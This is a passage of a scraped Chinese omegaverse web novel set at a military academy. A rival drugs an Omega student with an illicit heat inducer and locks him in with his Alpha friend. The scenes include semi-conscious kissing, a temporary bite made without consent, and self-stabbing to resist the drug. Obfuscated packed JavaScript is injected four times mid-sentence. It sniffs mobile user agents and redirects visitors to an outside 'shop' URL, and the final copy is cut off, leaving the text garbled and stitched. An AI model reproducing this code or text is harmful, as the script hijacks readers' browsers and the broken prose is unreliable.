喻初晨没说话,他的理智已经在临时标记的冲击之下燃烧殆尽,又被倾盆大雨浇灌着,意识已经是摇摇欲坠。 在他失去意识之前,最后看见的,是模模糊糊的雨幕。 如果没有那场大雨,如果他们没有在大雨中临时标记。 也许他们的感情就不会那么快有进展。 也许就会停留在止步不前的时候。 喻初晨缓缓睁开眼,看着头顶陌生的天花板,微微皱了下眉。 “阿言……” 喻初晨躺在床上,疲惫地转过头,打量着这个陌生的环境,下意识喊了段言的名字。 可这个陌生的环境里没有段言,只有冷冰冰的一张床和一套桌椅。 还有躺在床上,不知身在何处,也找不到段言的喻初晨。 段言去哪里了? 喻初晨看不见段言,心底的空虚感与慌乱在这一刻到了顶峰。 他的动作变得急促,撑着床沿坐了起来,挣扎着准备下床去找段言。 就在喻初晨的双脚即将碰到冰凉的地板时,门被人从外面打开,他从醒来就在寻找的段言走了进来。 段言没想到,他只是走开了一会,到医生那儿听听医嘱的功夫。 竟就那么不巧,喻初晨在这个时候醒了,还这样撑着虚弱的身体火急火燎要下床。 吓得他是赶忙跑上前去,扶着喻初晨重新坐回床上去。 “怎么起来了!”段言吓得够呛,他瞧着喻初晨脸色那样不好,生怕是哪里不舒服,连忙追问,“是不是哪里不舒服?我叫医生过来……” 问完这话,段言也不等喻初晨回答,松开扶着对方的手,就要转身离开。 喻初晨见段言要走,连忙拉住他,说:“别走。” 段言停下脚步,转身看向喻初晨时,却看见对方眼圈里竟滚了一圈眼泪,将落未落的。 他一时间有些手足无措,愣愣地看着眼前这般模样的喻初晨,怎么都没想到对方醒来后竟会是这样的反应。 “你去哪了?这又是哪里?”喻初晨一双紫色眼眸被泪水染得雾蒙蒙的,左手死死抓着段言的手腕,指节用力得有些发白。 “这是修整点的临时休息室,特别安全,你别担心。”段言略顿了顿,迎着喻初晨不安的目光,继续解释,“我刚刚是去帮你拿抑制剂了,顺道问问医生有什么要注意的。” 说完这些话,段言看着喻初晨肉眼可见地放松下来,忽然想起医生提到的分离焦虑。 喻初晨刚刚被他临时标记,对他的离开会有一定的焦虑,是正常的反应。 “医生说,你刚刚分化的第一次发情期就淋了雨,得好好休息。”段言压下心底翻涌的情绪,将抑制剂放到一旁,掏出移动光脑在喻初晨的信息框里面打着字,嘴上说着,“医生还说了不少要注意的,你没去听,我整理成信息发到你的移动光脑里边。” 喻初晨看着段言的移动光脑,恍惚地点着头,并没有说话。 段言没听见喻初晨的回答,转头看见喻初晨恍惚的模样,打字的动作立刻停了下来,面露担忧,问:“晨,怎么了?是哪里不舒服吗?” 喻初晨抬眸看了段言一眼,垂眸看向自己的手,神情有些失落,喃喃道:“还以为跟你一样,会分化成Alpha呢。” 段言一怔,收起放在移动光脑上的手,转过身面对喻初晨,安抚地对他说:“没关系的,你那么厉害,第二性别是什么对你都没有影响的,不要因此多想。” 喻初晨笑着摇摇头,看着满脸担心的段言,解释说:“没有多想啦,就是以为第二性别跟你一样,结果不一样才有些感慨罢了。” 段言松了口气,将双手搭在移动光脑上,继续把刚刚医生的叮嘱都输入成文字发送到喻初晨的移动光脑,嘴上说着:“那就好,你要是有什么想法,一定要告诉我,别自己憋着。” 喻初晨点点头,仍旧低垂着眼眸,掩去眼底的情绪,声音闷闷地答应了下来。 段言见状也没再提这件事,专心发送完信息,收起移动光脑之后,却感觉到喻初晨正在靠近自己。 他不敢转头,怕惊到喻初晨,只用余光朝着对方的方向看了一眼,只见喻初晨正不自觉朝他靠近。 每一次都不明显,一点点的,一点点的,拉近与他的距离,触碰他搭在床上的手。 忽然,段言想到刚刚去见医生的时候,医生说过的话。 “他刚刚分化成Omega,你帮他压制发情期,帮他压制失控的Omega信息素,让你们两个人的信息素短暂融合在一起,有概率会导致他对你产生一定程度的依赖。” 段言将目光移到喻初晨身上,一时间不知该说什么好。 要说高兴,那利用信息素的作用来得到喻初晨的短暂依靠的段言,是不是有些卑劣呢? 不过,喻初晨对段言的依赖只是短暂性的。 过了大概一周的样子,便从原本必须时刻跟段言黏在一起,必须有一定的肢体接触,变得渐渐可以独立生活。 后面的学习生活也一切照旧,喻初晨虽然觉得之前的粘人行为有些尴尬,但二人就这样默契地当做没有这件事,谁也没提起来。 不仅是依赖性,随着时间的推移,当时段言对喻初晨的临时标记所产生的影响逐渐减轻,趋于正常。 但是,这个世上总是不缺少意外。 这一次的意外,发生在机甲战斗课的小测当中。 虽然联合战略指挥系主要教授的是统战指挥上的知识,但作为指挥,他们对所有专业的技能肯定也要有一定了解。 尤其是机甲战斗方面,联邦军部要保证所有指挥官也能有出色的机甲战斗能力。 所以,即便他们就读的是联合战略指挥系,但对机甲战斗的考核依旧十分严格。 也因为多数被选入联合战略指挥系的军校生,都有着十分优秀的机甲战斗实力,所以每一次的机甲战斗小测,竞争都是无比激烈的。 在三十一岁的段言看来,当年铆足了劲争机甲战斗小测的第一名似乎有些幼稚。 但是在只有成绩可以衡量一切的军校生眼中,像是机甲战斗小测这种实操课程的成绩,是能够直接证明自己实力的唯一途径。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547391|204204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不过,在段言和喻初晨十八九岁的那两年里。 机甲战斗小测这种实操课程的第一名,多数时候都被喻初晨包揽了。 但是,这在喻初晨分化之前,大家并不觉得有什么。 在喻初晨分化成Omega之后,有些自认为自己胜过世间所有Omega的人,就开始不满了。 “让我们恭喜喻初晨同学,又破了他自己的记录,拿到了机甲战斗小测的全年级第一名。” 机甲战斗课的余教授满面笑容地看向喻初晨,为喻初晨夺得新的好成绩感到高兴。 余教授是个只管成绩与荣誉的人,他才不在乎什么第二性别。 在他眼里,手下教出了喻初晨这样高水平的人,让他在教育界脸上有光,那就是最好的事。 其他什么乱七八糟的纠结,都跟他没有关系,他只关心与自己有关的结果。 “谢谢余教授,都是您教得好。”喻初晨也很高兴,他每一次突破记录都觉得特别开心,先出于礼貌感谢了余教授,再将欣喜的目光投向站在身旁的段言。 “晨,恭喜你,又破纪录了。”段言也是先说了祝福的话,随后偷偷摸摸瞥了一眼还在报成绩的余教授,彻底凑到喻初晨身边,压低声音问,“我们待会去吃点什么庆祝一下吧?” “你想吃什么?”喻初晨同样压低声音,微微偏过头,低垂目光朝段言的方向看去。 “食堂一楼开了一家古法烤肉,要不要试试?”段言抬眸看了一眼余教授的方向,低声继续跟喻初晨讨论吃什么。 “古法烤肉?就是那个传说不知道去哪里搞来了炭的烧烤店?”喻初晨瞪大眼,面露震惊地看向段言,险些忘记压低声音。 “对,就是他们家。搞来炭这点也还好了,也不知道在食堂里边搞古法烤肉究竟是怎么批下来的,行政大楼那帮人有这么好心?”段言眉头微皱,露出疑惑的神情。 “说不定是亲戚,或者他们自己也想吃。”喻初晨点点头,认真地讨论了起来。 段言也顺着喻初晨的话猜测了起来,二人你一言我一语,想着反正余教授念成绩还得好一会,便就着这个无聊的话题聊了许久。 那时候的他们,无论是谁都没有注意到。 在他们身后的不远处,有一双毒蛇一般的眼睛正盯着他们。 藤原翔太,他最引以为傲的就是机甲战斗技术。 原先喻初晨还没分话,他勉强认为对方身为Alpha比自己强。 如今喻初晨分化成了Omega,竟然还是比他强,甚至又突破记录,实力比他还高出一截。 这就让藤原翔太难以接受了。 在藤原翔太和整个藤原家的人看来,他们是蓝星时代留下的高贵种族。 虽然人类逃离蓝星的时候,他们家族祖辈居住的岛屿已经沉没,只能苟延残喘在其他国家,乞求其他国家庇护他们。 但这并不妨碍他们觉得自己有着高贵的血统,是比其他人还要聪明而勇敢的民族。 而作为这样一个家族的长子,藤原翔太竟然输给喻初晨一个Omega。 这是他所不能容忍的。 一定要他付出代价。 藤原翔太阴暗地看着喻初晨的方向,目光像毒蛇一样咬在喻初晨身上。 9. Chapter 9 如果当初段言回头看看,也许就能看到藤原翔太那张嫉妒到扭曲的脸。 但那时候的他们尚且年轻。 在学生生涯中最关心成绩的那几年,这样的场合,他们的注意力只集中在老师念出的那些冰冷的数字上。 段言和喻初晨两个人讨论了一会儿,成功把余教授念成绩的时间熬了过去。 他们不关心其他同学的成绩,段言的成绩又只在喻初晨后边一些,所以每次碰上余教授非要念成绩的时候,他们总是要等很久。 余教授这人多少又有些古板,非得自己念成绩,还非得念完成绩才能解散让他们去收拾。 好不容易等到余教授宣布解散,喻初晨正要拉着段言去更衣室换衣服,却突然发现自己的移动光脑落在机甲上了。 联邦军校的这些机甲都是公用的,谁知道下一次是哪个班的人过来用,若是现在不回去找,怕是下次来就找不见了。 “我回去看看。”喻初晨有些着急,往回走去。 联邦的移动光脑是一人一机,除非移动光脑坏了,才能拿到联邦通讯处去更换,否则是不允许一个人有多个移动光脑的。 即便是丢失,办手续的过程也十分麻烦,喻初晨当然是能避免就避免。 “我跟你一起。”段言从来都是跟喻初晨形影不离的,回去找移动光脑这种事,自然也要跟上。 好在移动光脑只是落在机甲上忘记带走,课后固定检修的维修员也还没有进入机甲中。 喻初晨赶紧把移动光脑拿上,与段言一同往更衣室的方向走去。 机甲战斗训练所需要的场地可不小,因为训练对战要求,这里也不方便放一些便捷的交通工具。 简而言之,就是更衣室离得很远,他们只能走过去。 喻初晨和段言这样一来一回的,刚刚还成群结队往更衣室走的同学们已经不见了踪影。 多数人下了机甲战斗课都急着回去,晚一会就见不着什么人,倒也是意料之中。 只是……以前晚一些多少还能见到一两个人,今日却是一个人都没有。 难道他们刚刚回去拿移动光脑,竟然离开了这么久吗? 那一天,无论是喻初晨还是段言,没有人把所有看似寻常的细微异常放在心上。 意外就是在这个时候发生的。 十八九岁的喻初晨和段言,对极个别少见的管制药剂是全然不熟悉的。 他们甚至要想一想,才能想起来Omega诱导剂是管制药剂中的一种,更别说在碰见的时候准确辨别出来了。 “连更衣室都没人呢,真稀奇啊。”段言跟在喻初晨身后走进更衣室,扫视了一圈,听着里边的动静,见真的没人,笑着感叹。 “也可能我们真的太晚了吧。”喻初晨吸了吸鼻子,总觉得更衣室里有什么香味,嘀咕了一句,“谁在更衣室喷香水?闻着好甜。” “上完机甲战斗课就喷香水?谁这么有浪漫主义气质?”段言听见喻初晨的话,嗅了嗅空气中的甜腻香味,挑了下眉,调侃道。 “别贫了,赶紧换完走吧,这香水太甜了,熏得我头晕!”喻初晨笑着用手肘撞了段言一下,正要朝自己的柜子走去时,却是突然双腿一软,强烈的酥痒燥热感瞬间席卷全身。 “晨!”段言见喻初晨倒下,惊得伸手一捞,赶忙将人捞入怀中。 喻初晨的脸色很不好,全身皮肤在这一瞬间泛起红来。 尤其是脸上,不仅比其他地方红得惊人,还有些发烫。 “我去给你拿抑制剂!” 段言将喻初晨轻轻放在长椅上边,让他稍微靠着墙壁稍作休息,便赶忙往储物柜的方向走去。 他心中有着无数疑问,不明白为什么喻初晨才刚刚经历发情期不久,为什么又会迎来发情期。 难道是身体哪里有问题吗?待会儿需不需要去医院看一看? 但现在的段言没有时间去想这些,他必须以最快的速度找到喻初晨的储物柜,从中取出喻初晨携带的抑制剂。 只要找到那些抑制剂,喻初晨遇到的问题,就可以迎刃而解。 可当段言来到喻初晨的储物柜前的时候,却看见喻初晨的储物柜不知怎么的,竟是开着的! 要知道,这里是联邦军校,在安全方面是有一定保证的。 像是学生的储物柜这类保管个人财物的地方,只能用学生本人的虹膜才能打开。 除非学生本人提出申请,要求加入第二人的虹膜数据,否则其他人肯定是打不开的。 为什么喻初晨的储物柜是开着的? 段言心中隐隐有些不好的预感,他瞬间沉下脸,上前两步看着储物柜内的东西。 其他东西都是完好的。 只有抑制剂,只有抑制剂! 喻初晨准备的抑制剂被人为破坏,只剩下一个空壳子在这里,已经是毫无作用了。 段言的脸色阴沉得可怕。 看见这些抑制剂的第一眼。 不,看见这个储物柜的第一眼。 段言就隐约猜到,怕是有人设下了陷阱,就等着把他们困在里边。 刚刚他们闻到的甜腻香味,说不定根本就不是什么香水,而是什么见不得人的阴险药物。 “该死……” 段言几乎压制不住心底翻涌的怒气,但现在什么怒火都得放到一边去。 当务之急是把喻初晨带出去,到军校医院去检查一番,以免刚刚的甜腻香味对身体有什么伤害。 “晨,我带你出去。”段言把喻初晨的重要物品带走,赶紧跑回他的身边,急忙背起了对方。 喻初晨昏昏沉沉的,这一次的发情期不知为何,竟比第一次的时候还要猛烈。 难以忍受的燥热感席卷全身,让他完全失去了思考能力,五感更是几乎丧失殆尽,只剩下一个触觉变得极其敏感。 段言背上喻初晨之后,一刻都不敢停留,直接往更衣室外边跑去。 可到了门边,一拧把手,却发现门被人从外边反锁了。 “究竟是谁……”段言错愕地看着眼前的门,咬牙切齿地骂了一句。 到了这个时候,段言还能看不出这个设下陷阱的人究竟想做什么吗? 此人知道段言是Alpha,喻初晨是Omega。 只要喻初晨进入发情期,那么跟喻初晨一起被关在更衣室里边的段言,他进入发情期也是迟早的事。 真恶心。 竟然想出这样的阴招。 段言骂了一句。 束手就擒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547392|204204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,段言不能,也不愿意。 他开始砸门,试试这个门能不能砸开,也想着万一附近有人,能听见他的砸门声过来看看。 段言砸了两下门,转身将喻初晨放回长椅上边,转身继续砸起了门。 可这是星际时代,技术的迭代已经让这类日常用具变得更加坚固。 更何况联邦军校所用的门,比一般家庭所用的门更要坚固不少,根本不是人为能够破坏的。 除非是把外面的机甲开过来,用机甲上边配备的武器攻击,才有可能轻易破开。 人都在更衣室里边了,这根本是一件不可能做到的事。 破门是幻想,外边似乎也没有其他人,敲了半天都没有人听见这边的动静。 平时机甲训练场的人有这么少吗?今天就这么倒霉,一个人都碰不到? 段言脸色难看地看着眼前的门,没了办法,转身往喻初晨身边走去。 门打不开,更衣室内又用不了移动光脑。 现在段言和喻初晨几乎可以说是叫天天不应,叫地地不灵了。 “阿言……” 喻初晨虚弱的声音传入段言耳中,一瞬间仿佛拨动了他脑中的那根弦。 段言赶忙回到喻初晨身边,看着对方在昏暗灯光下发红的皮肤与意识迷蒙的模样,眼中满是心疼与不忍。 他不忍看喻初晨被发情期折磨,怨恨那不知是何人的始作俑者,想做点什么让喻初晨从发情期中缓过来,却又犹豫不决。 喻初晨已经被段言临时标记过一次。 医生说了,临时标记顶多只能有三次,第三次之后也可以临时标记,但Omega就会出现终身标记的一些反应。 比如微弱地混杂了Alpha的信息素,临时标记时产生的依赖也会变得很难消失,出现一种近乎是绑定了Alpha的情况。 虽然没有终身标记严重,但也可以说是在Omega身上打上一个并不算很深的烙印。 不算很深,但也确实存在,更不会消失,会一直提醒着Omega,曾经被这个Alpha临时标记了多次。 这样的结果,对喻初晨不好。 段言心疼的目光停留在喻初晨脸上,不敢伸手触碰他,只默默拉开一点距离。 始作俑者的恶毒之处在于,把段言和被诱导发情的喻初晨关在一起,那他们就面临着一个问题。 如果他们没能等到有人从外面打开更衣室的门,那随着时间的流逝,Omega的信息素势必会对Alpha产生影响。 倘若喻初晨和段言两个人同时进入发情期。 在这样充斥着信息素的密闭空间里,会发生什么可想而知。 如果段言失控,在更衣室把喻初晨标记掉,那可就不是小事了。 联邦是一个保守又开放的国家,他们既希望Alpha和Omega多多结合,也绝对不希望有人在宿舍或自己房间之外的地方标记。 如果被发现,恐怕是要被处分的。 何况,军校的第三年开始,就会有许许多多关乎毕业分配的考核。 如果喻初晨被终身标记,势必影响他的状态,也会影响到考核的结果。 段言心中的怒火又多了几分,这一切的一切,对喻初晨都不好。 10. Chapter 10 时间一点一点流逝,还是没有一个人到更衣室来。 如果那时候的段言没有那么急,也许能猜到门口被人放了维修中这类提示的牌子,这才导致根本没有人往这边靠近。 但十八九岁的段言满心都是喻初晨,他的脑子里除了想办法离开这里,剩下的全部都是喻初晨。 进入发情期的时间越来越长,喻初晨的状态也越来越差。 几乎可以说是完全失去了意识,只凭着身体的本能躺在长椅上,下意识朝着段言的方向靠去。 段言的注意力几乎全都在喻初晨身上,对方一动便能及时察觉。 喻初晨朝着他的方向靠近时,他便往旁边又躲了躲。 可喻初晨现在的状态这样差,段言不敢离得太远,生怕有什么细微的变化没能注意到。 这让段言很无奈,只能维持着一个勉强算是安全的距离,以免喻初晨因为靠近他而彻底失控。 但是,喻初晨的发情期还不是眼前最糟糕的。 密闭空间内的Omega信息素随着时间的推移与发情期的失控变得更为浓郁。 段言是个Alpha,身体健康,一切都正常的Alpha。 Omega的信息素是可以影响Alpha的。 段言能坚持这么久,靠的是自己超乎常人的意志力。 可时间过去这么久,他自己也能清晰地感觉到,他快要坚持不住了。 “糟了……” 段言明显感觉到眼前一晃,随之而来的是身体上的变化,一种近乎本能的欲望如同喷涌的岩浆从冲向四肢百骸。 Alpha的发情期与Omega的发情期不同,虽然最终都可以说成是本能的驱使,但Alpha在发情的时候是完全清醒的。 清醒地失控,清晰地感觉到自己在什么。 对于自控力强的人来说,或许可以指望Alpha本人去压制本能,但那并不是长久之计。 如同现在的段言,他强行压抑着自己的本能,忍受着发情期带来的灼烧感。 他知道自己坚持不了多久,所以站起身来,想离喻初晨再远一些。 可就是这个时候,段言分了心去压制自己的发情期,一时间没注意到喻初晨的靠近,竟是被他一把抓住手腕拽了过去。 天知道喻初晨究竟哪来的力气,顶着发情期时发软的身体,竟还能把段言给拽过去。 “晨……” 段言被喻初晨的动作吓了个够呛,刚刚喊出对方的名字,还没来得及说点什么,就被他堵住了嘴唇。 喻初晨的吻很乱,就像他的呼吸一般。 杂乱无章的吻落在段言的唇上,他根本不知道自己在做什么,只凭着本能去啃咬着,动作又急又乱。 一切发生得太快,段言根本没能反应过来。 何况眼前喻初晨所做的事,对他来说实在是太过冲击。 嘴唇上柔软的触感,只是一瞬间,就让段言脑中的那根弦铮的一下断了。 喻初晨是第一次接吻,对这样一件陌生的事显然是十分生涩。 动作急躁又混乱,可就是这样的急躁与混乱才更加搅得段言乱了心。 但段言的呆滞并没有持续多久,他回过神来的第一件事,就是赶紧推开喻初晨。 正在发情期的喻初晨哪里能愿意,自然是用尽力气抓住被拽到自己身上的段言,死死抓着对方的衣服,不肯叫对方逃开。 这样的津液交换,这样浓郁的信息素侵袭之下。 段言的理智也逐渐被本能的兽性蚕食,意识渐渐开始变得混沌。 混沌之中,段言凭着本能回应喻初晨,推拒的双手转为搂抱。 二人就这样纠缠起来,从长椅上边一路纠缠到了地板上。 两人谁也不懂得该如何做,只凭着混沌的意识与兽性的本能撕扯着对方。 直到段言仅存的一丝丝理智占据上风,赶忙停下了解开喻初晨身上作战服的动作。 作战服本就是贴身的,但在段言和喻初晨互相的撕扯之下,变得歪歪扭扭,似贴不贴的。 也许是信息素的作用,原本寻常的一件衣服,在段言看来竟多了几分淫靡气息。 不要想了。 段言咬住舌尖,用疼痛来警告自己。 “醒醒。”段言晃了晃迷迷糊糊的喻初晨,试图唤醒对方的理智。 但喻初晨只是难受地摇摇头,可怜巴巴地看着段言,瞧着像是求饶一样,想让他帮帮自己。 段言看得又是一阵心疼,恨不得替喻初晨承受这份痛苦。 但他显然做不到,只能稍微退开一些,不让自己太靠近喻初晨,以免再像刚刚那样失控。 喻初晨见段言没有搭理自己,瞬间有些急了。 他不能生出自己认知之外的潜意识反应,所以他也不知道该如何做,只凭着第一次临时标记的印象,可怜地把自己的腺体送上去给段言,又拉着对方的手往自己身上放,希望眼前的挚友能帮帮自己。 段言看着喻初晨这副模样,起初险些心软,但理智比失控更早出现在他的脑中。 他抽回被喻初晨拽过去的手,反过来抓紧对方的手腕,不叫对方乱动。 “晨,听话,我们不能这样。”段言哄着身前的喻初晨,试图唤醒对方的理智,好拖延时间,直到有人发现更衣室里面有人。 按理说,只要拖到下一节机甲课,肯定会有人到更衣室来的。 这间更衣室又不是只有他们一个班在用。 但喻初晨明显不乐意,他太难受了,现在只想解决问题。 段言别开眼,不肯看喻初晨。 他维持着自己那一丝丝可怜的理智,压抑着内心的恐惧。 是的,段言在恐惧。 他恐惧失控,害怕因为失控酿成不可挽回的结果。 本来是挚友的两个人,说不定会因为这件事闹得不愉快。 他是对喻初晨有好感,可谁知道喻初晨又如何想呢?在Omega不清醒的情况下实施标记,对喻初晨不好。 段言以前看过一个新闻,是说联邦有名的怨侣柯克兰夫妇。 他们曾经也是最好的朋友,在一次意外之后全都变了。 他们碰到的意外,与段言和喻初晨碰到的情况如出一辙。 但他们那个时候,Alpha没能扛住发情期的热潮,本能控制下把好友彻底标记了。 那之后,他们因为彻底标记被迫结婚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547393|204204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>本来关系特别好的一对好友,成了联邦有名的怨侣,隔三差五就会闹得十分难看。 段言不想变成那样。 而且,那样对喻初晨不好。 军校隔三差五就有考核,如果段言冲动一次,说不定就要让喻初晨付出考核失利的代价。 万一就是这一次失利,影响了喻初晨日后的分配呢?到时候要是给分到犄角旮旯去,让他们两个分开,那岂不是更加不好。 更重要的是,喻初晨现在根本不清醒,对挚友趁人之危的事情他做不到。 权衡利弊之下,段言觉得还是临时标记好一些。 趁着他还有一丝丝的理智,先把喻初晨的发情期安抚了。 还只是第二次临时标记,以后注意一些就是了。 先把眼前的困难解决掉才是要紧的。 段言下定决心之后,也不再耽搁时间,而是动作极快地抱住昏昏沉沉的喻初晨,在对方还未反应过来的时候,一口咬住后颈的腺体。 “呃……”喻初晨瞪大了双眼,嘴唇微微张开,发出一个音节之后,因为信息素的冲击再也发不出任何声音。 段言正对着喻初晨后颈的腺体注入信息素,没能看见对方脸上的神情。 否则,看见那张因信息素冲击而微微吐出舌头的脸,段言仅剩的理智怕是更加危险。 信息素的注入并不算很快,待到段言完成临时标记的时候,喻初晨脸上已经只剩下疲累的表情。 仍旧是不大清醒,但看得出来发情期已经被压制住了。 段言松了口气,将喻初晨重新放回长椅上边,用仅剩的那点理智剥下喻初晨身上的作战服,替他换上平时穿的衣服。 随后,段言才跑到自己的柜子前边,把自己身上的作战服换掉。 关掉柜门之前,他顺手拿出一把小刀。 军部要求每个人的身上必须带有便携式的武器,枪支和刀都得有,以应对各种突发状况。 对于军校生呢,也有类似的要求,但考虑到军校生并未正式进入军部,便只要求枪支和刀二选一,同样必须随身携带。 段言取出自己随身携带的那把小刀,回到了喻初晨身边,确认对方确实没有什么事之后,才在长椅旁边的地上坐了下来。 喻初晨的发情期压制下去了,可因喻初晨信息素影响而进入发情期的段言还在被热潮所折磨。 段言不可能让喻初晨来帮自己纾解,他只能靠自己硬抗。 有时候,疼痛是一种很有效的解药。 段言扎了自己一刀。 快准狠的,他狠狠把小刀扎入身体,刀尖刺破衣物和皮肉。 血腥味渐渐蔓延开来,与更衣室内残留的信息素搅和在一起。 但一定程度上也稍微压制了更衣室内残留的信息素,让他们不那么明显。 在血腥味变得最浓的时候,更衣室的门被人打开了。 “谁啊!” “怎么能乱放维修中的牌子,还把门给锁了啊!我们的清洁机器人要进来打扫……” 伴随着开门声传来的,是清洁管理员不满的抱怨声。 可抱怨声在看见更衣室内满手血的段言和躺在长椅上昏迷不醒的喻初晨时戛然而止。 11. Chapter 11 清洁管理员哪里见过这样的场面。 喻初晨脸上还有些异样的红,虚弱地躺在长椅上面,隐隐约约能看见的腺体上边有明显的咬痕。 而坐在长椅旁的地板上的段言,他的手臂上有着很长的一道伤口,正在不断往外流着血,血液从他的手臂一直蔓延到地上,看得出来出血量不小。 清洁管理员在联邦军校待了这么多年,即便没有见过这种场面,也不是什么都不懂的愣头青了。 眼前的一切都在告诉他,这很明显就是有人暗害房间内的这两名学生。 趁着发情期把Alpha和Omega关到密闭空间里,不是害人是什么。 “你开门干什么!” 不等清洁管理员有别的反应,藤原翔太突然从旁边跳了出来,怒视着眼前的清洁管理员。 原本藤原翔太还想等晚一些再打开更衣室的门,看看段言和喻初晨两个人因欲望而纠缠的丑态。 谁知道现在提前让一个清洁管理员把门打开了,一下子破坏了藤原翔太原本的计划。 不过,都这么长时间了,要有什么肯定也已经发生了吧? 藤原翔太心底这样想着,顿时也舒坦了不少,得意洋洋地往更衣室里边看去,嘴上说着。 “呀,我们联邦军校也要有一对‘柯克兰夫妇’了吗?” 藤原翔太的语气和神情满是得意,一掀眼皮往更衣室里边的二人一看,笑容僵在脸上。 怎么会这样?喻初晨一个被诱导发情的Omega在面前,段言竟然能什么都不做,只是临时标记帮他压制发情期吗? 藤原翔太满脸都是不敢相信的表情,目光移到段言满是鲜血的手臂上,更是震惊不已。 这满是鲜血的手臂,恰恰说明在这么长的时间里,段言并非对Omega的信息素毫无反应。 但是段言宁愿扎伤自己,以此对抗Alpha的发情期,也不愿意把眼前的喻初晨彻底标记。 藤原翔太僵在原地,面目因震惊显得有些扭曲,他不愿意相信世界上竟然有人这么有意志力,也不愿意相信有人愿意为了旁人做到这种地步。 不等藤原翔太从震惊中缓过神来,清洁管理员尖叫一声,掏出内部通讯器,按响了警报。 “出大事了,快叫警卫过来!” 清洁管理员对着内部通讯器大概讲了更衣室内发生了什么,便指挥机器人将更衣室附近的路都封了起来,不许人离开。 藤原翔太还是没反应过来,因为他注意到段言看向他的眼神,顿时只感觉到浑身冰冷。 段言阴冷地看着藤原翔太,如同毒蛇一般死死咬着,仿佛要将他剖皮剔骨。 联邦军校的效率还是很高的,在接到清洁管理员拉响的警报之后,立刻便到了现场处理此事。 昏迷的喻初晨和受伤的段言也被转移到了联邦军校的直属医院治疗。 喻初晨醒过来的时候,一睁眼看见的就是医院白花花的天花板。 不过,这一次段言没有像之前一样离开喻初晨去见医生。 而是在包扎好伤口之后,趴在床边稍作休息,等着喻初晨从昏迷之中醒来。 所以这一次,喻初晨只是微微一动,段言便察觉到了他的动静,猛地坐了起来靠近他。 “晨,感觉怎么样?还有没有哪里不舒服的?”段言俯身靠近喻初晨,观察着他脸上神情,满是关心地问。 “我闻到那个味道之后,就失去了意识,这到底是怎么了?我的头好痛……”喻初晨吸入的是Omega诱导剂这种管制药剂,醒来后多少还是有些头疼,不解于自己的身体反应,看向身边的段言问。 段言见喻初晨问起来,一瞬间有些犹豫,不知道要不要把一切告诉对方。 理智告诉他,喻初晨有权利知道这一切,因为喻初晨也是其中一个受害人。 但更衣室中发生的一切,还是让段言有些胆怯,他和喻初晨接吻,他临时标记喻初晨。 他当时能够面对发生的一切,可真正到了清醒的喻初晨面前时,竟是生出无尽的胆怯来。 不敢说,他不敢。 段言垂眸,避开了喻初晨的视线,内心略微挣扎了一会儿。 他终于压下心底翻涌的那些胆怯,抬眸看向喻初晨。 “你闻到的那个味道,军校直属医院已经检测出来了,是Omega诱导剂。”段言先把Omega诱导剂的事情告诉喻初晨,见喻初晨似要说什么,便停顿了一下。 “Omega诱导剂?”喻初晨震惊地瞪大了双眼,不敢相信地看着段言,问,“那不是管制药剂吗?怎么会出现在机甲训练场的更衣室里?” “是藤原翔太把Omega诱导剂放在更衣室里,又破坏了你的储物柜,毁坏你随身携带的所有抑制剂,害你……”段言说到这里,望着喻初晨那双纯澈的紫色眼眸,神情一瞬间闪过一抹无措,才接着往下说,“害你在更衣室里被迫进入发情期。” “我一点都不记得了,后来呢?怎么压制下来的,你带我来医院的吗?”喻初晨当然知道被诱导发情的后果,但他一点都没有怀疑段言会不会对自己做什么。 “对不起,一时情急,我……”段言有些窘迫,他本身也是犹豫了许久才下定决心对喻初晨临时标记的,如今对方闻起来,竟有些说不出口。 “是临时标记吧。”喻初晨打量着段言窘迫的模样,忍不住笑了笑,又说,“应该是我谢谢你,帮我抑制了发情期。不要多想啊,阿言。” 段言一怔,难免有些别扭,别过头去之后闷闷地“嗯”了一声。 随后,他也不再耽搁,继续将事情讲了下去。 “藤原翔太在军校内违规使用管制药剂的事,我已经上报给军校行政部了,但是……”段言说到这里,握紧拳头,停顿了一下,才咬牙切齿地继续往下说,“藤原家在联邦议会中颇有影响力,最后联邦军校只是轻飘飘扣了他一点分。” 段言说完这些话,拿出自己的移动光脑,将联邦军校的处分决定拿给喻初晨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 